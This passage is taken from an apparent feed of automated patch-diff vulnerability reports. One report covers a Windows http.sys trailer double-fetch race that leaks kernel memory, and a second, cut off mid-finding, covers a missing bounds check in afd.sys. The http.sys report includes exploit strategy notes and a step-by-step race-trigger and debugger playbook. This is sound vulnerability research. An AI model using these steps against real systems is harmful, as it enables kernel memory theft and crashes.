&lt;span class="mh"&gt;0x1c0028ae1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0028aed&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+..&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;REUSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0028afd&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SAFE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There is no KIR flag branch in the patched function; the capture-once path is unconditional.
&lt;em&gt;Note: A similar double-fetch pattern exists for the secondary data pointer (offset &lt;code&gt;+0x10&lt;/code&gt;) at unpatched addresses &lt;code&gt;0x1c000d1d1&lt;/code&gt; (probe) and &lt;code&gt;0x1c000d1f4&lt;/code&gt; (re-read), copied at &lt;code&gt;0x1c000d1ff&lt;/code&gt;. The patched counterpart captures once at &lt;code&gt;0x1c0028b34&lt;/code&gt;, probes at &lt;code&gt;0x1c0028b4f&lt;/code&gt;, and copies from the captured value at &lt;code&gt;0x1c0028b7a&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;KIR Flag State:&lt;/strong&gt; The target system must resolve the KIR feature flag &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt;, enabling the vulnerable Path A. This flag is set in &lt;code&gt;UxStartEnvironmentModule&lt;/code&gt; from &lt;code&gt;Feature_2347446586__private_IsEnabledDeviceUsage&lt;/code&gt;; a value of &lt;code&gt;0&lt;/code&gt; corresponds to the feature being rolled back / disabled.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API Setup:&lt;/strong&gt; The attacker must use the HTTP Server API (Win32 &lt;code&gt;HttpSendHttpResponse&lt;/code&gt; / &lt;code&gt;HttpSendResponseEntityBody&lt;/code&gt; with response trailers) to trigger the vulnerable IOCTL path via &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; on &lt;code&gt;\Device\Http\ReqQueue&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Payload Layout:&lt;/strong&gt; The response must carry at least one trailer entry, which maps to the 24-byte internal structure. The trailer count must be between 1 and 9,999 (&lt;code&gt;0x270F&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Race Condition:&lt;/strong&gt; The attacker requires a concurrent racing thread within the same process. This thread must continuously overwrite the data pointer field (the trailer value pointer, at kernel struct offset &lt;code&gt;+0x8&lt;/code&gt; or &lt;code&gt;+0x10&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Race Timing:&lt;/strong&gt; The racing thread alternates the pointer between the original valid user-mode pointer and a target kernel address. The race must be won in the window between &lt;code&gt;UlProbeAnsiString&lt;/code&gt; (&lt;code&gt;0x1c000d125&lt;/code&gt;) and the re-read (&lt;code&gt;0x1c000d14d&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirmation:&lt;/strong&gt; If the race is won, the attacker observes kernel memory leaked into the HTTP response buffer. If the attacker supplies an invalid kernel address, the system crashes with a &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; (Bugcheck &lt;code&gt;0x50&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Arbitrary kernel memory disclosure (read). &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploit Strategy:&lt;/strong&gt; While strictly an information disclosure bug, it is highly powerful. By supplying a known kernel virtual address, the attacker can copy kernel pool data, token structures, or session structures into the HTTP response. This can easily be leveraged to defeat KASLR or steal credentials.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Heap Grooming:&lt;/strong&gt; Not strictly required for the primitive itself, as the attacker directly specifies the read address. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations:&lt;/strong&gt; Standard kernel mitigations like SMEP, SMAP, and CFG do not prevent information disclosure from kernel reads executed in kernel context. The only barrier is ensuring the target address is paged in and valid to avoid a bugcheck.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reliability:&lt;/strong&gt; The race window is extremely narrow (~6 instructions). The exploit should set thread affinity to a single CPU to force the racing thread and the HTTP.sys processing thread onto the same logical processor, using active spins to maximize the probability of a successful swap.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;For a researcher with a kernel debugger (KD/WinDbg) attached to the unpatched binary, follow this playbook to confirm and trace the vulnerability:&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;p&gt;Set the following breakpoints to trace execution and validate the race:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp http!UlGenerateTrailers ; (0x1c000cf94) Entry point. Examine initial arguments.
bp 0x1c000d0e5           ; KIR flag check. Ensure it routes to 0x1c000d125.
bp 0x1c000d125           ; UlProbeAnsiString call. Capture the original pointer (RCX).
bp 0x1c000d14d           ; *** VULNERABLE SECOND FETCH. Compare RDX to probed value.
bp 0x1c000d155           ; memmove call. Verify destination (RCX) and source (RDX).
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to Inspect at Each Breakpoint&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1c000cf94&lt;/code&gt; (Function Entry):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt; (arg2): Pointer to the user-mode trailer struct. &lt;/li&gt;
&lt;li&gt;&lt;code&gt;[rdx+0x8]&lt;/code&gt;: Trailer count (must be &lt;code&gt;&amp;lt; 0x2710&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[rdx+0x10]&lt;/code&gt;: User-mode trailer array pointer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1c000d0e5&lt;/code&gt; (KIR Flag Check):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Step over and ensure the execution takes the &lt;code&gt;JZ&lt;/code&gt; branch to &lt;code&gt;0x1c000d125&lt;/code&gt;. If it falls through, the KIR flag is set and the safe capture-once path runs instead.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1c000d125&lt;/code&gt; (UlProbeAnsiString):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt;: The captured user-mode data pointer being probed.&lt;/li&gt;
&lt;li&gt;Copy the value of &lt;code&gt;rcx&lt;/code&gt; for comparison. Alternatively, inspect the &lt;code&gt;Src&lt;/code&gt; stack slot where it is stored.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1c000d14d&lt;/code&gt; (Vulnerable Re-read):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r12&lt;/code&gt;: Contains the loop index &lt;code&gt;* 3&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Inspect the instruction execution. Step over this instruction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verification:&lt;/strong&gt; Compare the new &lt;code&gt;rdx&lt;/code&gt; value to the &lt;code&gt;rcx&lt;/code&gt; value from the previous breakpoint. If the PoC racing thread is active, you will eventually catch this where &lt;code&gt;rdx&lt;/code&gt; contains a high address (e.g., &lt;code&gt;0xFFFF...&lt;/code&gt;) instead of a user-mode address.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1c000d155&lt;/code&gt; (memmove):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt;: Output buffer in kernel memory.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt;: Source pointer (the attacker-controlled kernel address if the race was won).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r8&lt;/code&gt;: Length of the copy. &lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Trigger Setup&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;In user mode, initialize the HTTP Server API (&lt;code&gt;HttpInitialize&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Create a request queue and register a URL.&lt;/li&gt;
&lt;li&gt;Construct a response trailer array (each entry has name/value length fields and value pointers). Store the array in globally accessible user-memory.&lt;/li&gt;
&lt;li&gt;Initialize a secondary thread that enters an infinite loop, using &lt;code&gt;InterlockedExchange64&lt;/code&gt; (or similar) to flip the trailer value pointer (offset &lt;code&gt;+0x8&lt;/code&gt; of the entry) between a valid string pointer and a target kernel address (e.g., &lt;code&gt;0xFFFFF90000000000&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;HttpSendHttpResponse&lt;/code&gt; in a loop from the primary thread.&lt;/li&gt;
&lt;li&gt;The kernel debugger will hit the breakpoints. Allow the loop to continue (&lt;code&gt;g&lt;/code&gt;) until the breakpoint at &lt;code&gt;0x1c000d14d&lt;/code&gt; catches a modified pointer.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Expected Observation&lt;/h3&gt;
&lt;p&gt;When the TOCTOU race is won, you will observe at &lt;code&gt;0x1c000d155&lt;/code&gt; that &lt;code&gt;RDX&lt;/code&gt; is a kernel address. If you let the &lt;code&gt;memmove&lt;/code&gt; execute and inspect the buffer at &lt;code&gt;RCX&lt;/code&gt;, you will see raw kernel memory. If the PoC supplies an invalid address, the system will Bugcheck &lt;code&gt;0x50&lt;/code&gt; (PAGE_FAULT_IN_NONPAGED_AREA) at the &lt;code&gt;memmove&lt;/code&gt; instruction.&lt;/p&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UlGenerateTrailers (sub_1C000CF94)&lt;/code&gt;&lt;/strong&gt; (Similarity: 0.7251 | Change: Security Relevant)
  The primary vulnerable function. The patch eliminates the &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt;-gated dual code path, forcing a single-fetch capture pattern for both primary and secondary trailer data pointers before passing them to &lt;code&gt;UlProbeAnsiString&lt;/code&gt; and &lt;code&gt;memmove&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UxStartEnvironmentModule (sub_1C01767B0)&lt;/code&gt;&lt;/strong&gt; (Similarity: 0.9516 | Change: Behavioral)
  This function initializes the driver's KIR (Known Issue Rollback) feature flags by calling &lt;code&gt;wil_InitializeFeatureStaging&lt;/code&gt; followed by a series of &lt;code&gt;Feature_*__private_IsEnabledDeviceUsage&lt;/code&gt; probes. The patched build removes the &lt;code&gt;Feature_2347446586__private_IsEnabledDeviceUsage&lt;/code&gt; call and its &lt;code&gt;setnz cs:UxKirHttpReadingTrailersFromUm&lt;/code&gt; store (dropping the KIR flag set from 7 to 6). This deletes the rollback gate for the trailer double-fetch, consistent with the finalized &lt;code&gt;UlGenerateTrailers&lt;/code&gt; fix. Remaining differences are recompilation artifacts (WPP trace GUID relocation, instruction reordering). No security-relevant regression.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sub_1C000D25B&lt;/code&gt;&lt;/strong&gt; (Similarity: 0.9780 | Change: Cosmetic)
  A status-normalization tail block inside &lt;code&gt;UlGenerateTrailers&lt;/code&gt; (maps &lt;code&gt;0x80000000&lt;/code&gt;/&lt;code&gt;0x80000005&lt;/code&gt; status codes to &lt;code&gt;0xC000000D&lt;/code&gt;). The patched counterpart is at &lt;code&gt;0x1C0028BD7&lt;/code&gt;; register/address shifts from recompilation only, no behavioral change.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; None.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; None.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High. The diff provides explicit pseudocode and assembly evidence of a classic TOCTOU double-fetch.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt; The analysis assumes that the user-mode memory containing the header array pointers is mutable by a concurrent thread in the same process. This is a standard assumption for Windows user-mode APIs that probe user structures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manual Verification Required:&lt;/strong&gt; A researcher must confirm the value of the KIR flag &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt; on their specific target build (set in &lt;code&gt;UxStartEnvironmentModule&lt;/code&gt; from &lt;code&gt;Feature_2347446586__private_IsEnabledDeviceUsage&lt;/code&gt;) to ensure the vulnerable path is reachable. Because this is a Known Issue Rollback gate, the vulnerable re-read path only executes while the feature is rolled back (flag &lt;code&gt;0&lt;/code&gt;). Additionally, optimizing the racing thread to consistently hit the narrow instruction window will require empirical tuning on the target hardware.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>afd.sys — missing output-buffer bounds check on accepted-connection transport-address copy in AfdSanAcceptCore (CWE-120) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/afd_2ae26143-afd-report-20260628-170347.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/afd_2ae26143-afd-report-20260628-170347.html</id><summary type="html">&lt;p&gt;KB5075912&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;afd_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;afd_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9806&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;1228&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;6&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;1222&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (patched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds a missing upper-bound check on the transport-address copies that AFD performs into the caller's MDL-mapped accept output buffer. In the unpatched build the copy lengths are read from the transport-address structure and used directly, compared against the output-buffer length only for the value zero. The same unbounded pattern exists in two functions, &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; (accept IRP completion) and &lt;code&gt;AfdSanConnectHandler&lt;/code&gt; (SAN connect handler). The patch clamps each copy length to the output-buffer length. Both fixes are gated behind the runtime feature flag &lt;code&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/code&gt;; when that flag is off, the patched code path is byte-for-byte the old, unbounded code.&lt;/p&gt;
&lt;p&gt;A second, independent security fix is also present in the BTHMS_RFCOMM socket-transfer / information-query paths (Finding 4). In the unpatched build the unbind race-protection lock (&lt;code&gt;AfdPreventUnbind&lt;/code&gt; / &lt;code&gt;AfdReallowUnbind&lt;/code&gt;) around the connection's &lt;code&gt;IofCallDriver&lt;/code&gt; + &lt;code&gt;KeWaitForSingleObject&lt;/code&gt; transfer (in &lt;code&gt;AfdSocketTransferBegin&lt;/code&gt; / &lt;code&gt;AfdSocketTransferEnd&lt;/code&gt;) and around the deliver-status &lt;code&gt;AfdIssueDeviceControl&lt;/code&gt; (in &lt;code&gt;AfdGetInformation&lt;/code&gt;) is taken only when a private feature flag is enabled; with the flag off, those paths issue I/O on the connection's device/file objects with no protection against a concurrent &lt;code&gt;AfdUnbind&lt;/code&gt; tearing the connection down. The patch &lt;strong&gt;deletes&lt;/strong&gt; those feature gates entirely (the gate functions &lt;code&gt;Feature_831225147*&lt;/code&gt; and &lt;code&gt;Feature_51867961*&lt;/code&gt; no longer exist anywhere in the patched image) and makes the lock unconditional, so the protection is now mandatory rather than a staged rollout.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — High severity&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; Kernel out-of-bounds write / buffer copy without checking size of input (CWE-120).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; @ &lt;code&gt;0x1C007C0CC&lt;/code&gt; (AFD SAN accept IRP completion routine).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Companion instance:&lt;/strong&gt; &lt;code&gt;AfdSanConnectHandler&lt;/code&gt; (unpatched &lt;code&gt;0x1C007D410&lt;/code&gt;, patched &lt;code&gt;0x1C007D550&lt;/code&gt;) carries the identical unbounded-copy pattern and receives the identical clamp fix (see Finding 2).&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Root cause&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;AfdSanAcceptCore&lt;/code&gt; runs when an AFD SAN accept IRP completes. It copies the accepted connection's transport-address data into the caller's output buffer, which has been MDL-mapped into kernel address space. The copy destination base is the mapped buffer at &lt;code&gt;*(IRP+8)&lt;/code&gt;; the write offsets and the output-buffer length live in a descriptor at &lt;code&gt;*(IRP+0xB8)&lt;/code&gt; (call it &lt;code&gt;rbx&lt;/code&gt;), where &lt;code&gt;*(rbx+0x10)&lt;/code&gt; is the output-buffer length and &lt;code&gt;*(rbx+8)&lt;/code&gt; / &lt;code&gt;*(rbx+0x18)&lt;/code&gt; are write offsets.&lt;/p&gt;
&lt;p&gt;The copy lengths are taken from the connection's transport-address structure (&lt;code&gt;v40 = *(IRP-context+0x18)&lt;/code&gt;): the address length word at &lt;code&gt;+0x14&lt;/code&gt; and an ancillary length word at &lt;code&gt;+0x18&lt;/code&gt;. In the unpatched build these lengths are used directly as &lt;code&gt;memmove&lt;/code&gt; sizes (plus a small constant), and the only check against the output-buffer length is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C007C3A8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="n"&gt;gth&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C007C3AB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C007C3AD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C007C56B&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copies&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="n"&gt;ly&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="n"&gt;gth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There is &lt;strong&gt;no upper-bound check&lt;/strong&gt;. If the transport-address length fields are larger than the output buffer, the &lt;code&gt;memmove&lt;/code&gt; writes past the end of the MDL-mapped kernel allocation.&lt;/p&gt;
&lt;p&gt;The function performs two logical copies, each in two variants selected by the transport flag at &lt;code&gt;*(connection+0xAC)&lt;/code&gt;:
1. The transport-address copy (size = &lt;code&gt;*(+0x14)&lt;/code&gt; + 8 for the user-transport variant, &lt;code&gt;*(+0x14)&lt;/code&gt; + 2 for the kernel-transport variant).
2. An ancillary copy, gated by &lt;code&gt;*(rbx+0x18) != 0&lt;/code&gt; (size = &lt;code&gt;*(+0x18)&lt;/code&gt; + 4 / + 2).&lt;/p&gt;
&lt;p&gt;The patch:
1. Adds a lower-bound gate &lt;code&gt;*(rbx+0x10) &amp;gt;= 0xC&lt;/code&gt; before the copies (behind the feature flag).
2. Clamps the transport-address copy size to the output-buffer length: &lt;code&gt;cmp eax, r12d / cmovb r12d, eax&lt;/code&gt; (user variant), and to &lt;code&gt;length - 2&lt;/code&gt; via an overflow-safe compare (&lt;code&gt;sub rcx, r13 / cmp rcx, rax / jnb&lt;/code&gt;, kernel variant).
3. Adds a minimum-size gate on the ancillary copy (&lt;code&gt;cmp eax, 6 / jb bail&lt;/code&gt;) and clamps its size (&lt;code&gt;cmovnb&lt;/code&gt;/&lt;code&gt;cmovge&lt;/code&gt;).
4. Leaves the copy primitive unchanged: both builds call the same &lt;code&gt;memmove&lt;/code&gt; (it is at &lt;code&gt;0x1C000A400&lt;/code&gt; in the unpatched image and at &lt;code&gt;0x1C000A380&lt;/code&gt; in the patched image only because the module relocated; it is the same function).
5. Gates all of the above behind &lt;code&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/code&gt;. With the feature disabled, the patched ancillary path falls through to the original unbounded copies.&lt;/p&gt;
&lt;h4&gt;Reachability&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;AfdSanAcceptCore&lt;/code&gt; is called from &lt;code&gt;AfdServiceSuperAccept&lt;/code&gt; (&lt;code&gt;0x1C004D208&lt;/code&gt;), &lt;code&gt;AfdAccept&lt;/code&gt; (&lt;code&gt;0x1C004D270&lt;/code&gt;), and &lt;code&gt;AfdServiceWaitForListen&lt;/code&gt; (&lt;code&gt;0x1C004DAC8&lt;/code&gt;). &lt;code&gt;AfdServiceSuperAccept&lt;/code&gt; is in turn reached from &lt;code&gt;AfdRestartAccept&lt;/code&gt; (&lt;code&gt;0x1C004D0B0&lt;/code&gt;), the accept-event completion path. These call edges are present in the binary. The end-to-end path from a user-mode &lt;code&gt;accept()&lt;/code&gt; down to this completion routine, and the exact IOCTL used, were not traced through the full dispatch table and are not asserted here.&lt;/p&gt;
&lt;h3&gt;Finding 2 — High severity (same mechanism, second location)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;AfdSanConnectHandler&lt;/code&gt; (unpatched &lt;code&gt;0x1C007D410&lt;/code&gt;, patched &lt;code&gt;0x1C007D550&lt;/code&gt;; relocated, matched by content).&lt;/li&gt;
&lt;li&gt;This is &lt;strong&gt;not&lt;/strong&gt; the caller of &lt;code&gt;AfdSanAcceptCore&lt;/code&gt;; it is a sibling SAN handler that copies the peer/local address into the accept output MDL with the same unbounded pattern.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the unpatched build the peer-address copy uses the length word inside the SAN connect buffer (&lt;code&gt;*(u16*)Src&lt;/code&gt;) directly:&lt;/p&gt;
